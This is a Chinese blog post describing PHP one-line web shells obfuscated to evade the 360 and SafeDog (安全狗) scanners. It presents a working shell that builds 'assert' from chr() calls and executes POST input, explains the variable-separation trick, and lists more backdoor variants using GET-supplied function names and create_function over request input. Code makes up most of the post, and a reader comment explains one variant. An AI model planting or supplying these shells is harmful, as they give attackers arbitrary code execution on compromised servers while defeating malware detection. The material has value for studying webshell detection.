最新消息:

[学习php的小成果]过360、安全狗一句话

php安全 admin 2119浏览 0评论

只测试了360网马查杀和安全狗网马查杀,均未被发现。

[代码]php代码:

1 <?php
2 $a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
3 $b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
4 ?>
range(1,200)—-新建一个1到200的数组。  range(a,z)就是一个a到z的数组;大小写有区别
chr()—-转换ASCII
chr($a[51])——–是密码4  ,实际是chr(52)。也可以把[chr($a[51])]改为[‘4’]
$a[51]就是数组的$a的第51个数的值(52)。因为数组的值是从0开始数的,所以第51位为52。

原一句话:

[代码]php代码:

1 <?php  $a = "a"."s"."s"."e"."r"."t"$a(${_POST}['4']);  ?>

assert()—-跟eval()意思差不多都用来执行语句的。

重点是{},变量分离;这样{}中的就是字符串,也就可以把_POST转码。

比如:

[代码]php代码:

1 <?php
2 $f4ck="LOVE";
3 echo "${f4ck} ,f4ck";//输出结果 LOVE,f4ck
4 ?>

其他的一句话:

1、

<?php ($_=@$_GET[2]).@$_($_POST[1])?>
http://localhost/1.php?2=assert密码是1

2、

<?php
$s = create_function(”, $_REQUEST[‘c’]);
$s();
// s.php?c=eval%28$_REQUEST[cmd]%29;&cmd=echo%201;
?>

转载请注明:jinglingshu的博客 » [学习php的小成果]过360、安全狗一句话

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 的原理是: $_=@$_GET[2] @$_($_POST[1]) 因此当输入2=assert时,$变为‘assert’,然后@$_($_POST[1])就变成了assert($_POST[1])这样的一句话了。
    admin12年前 (2013-09-28)回复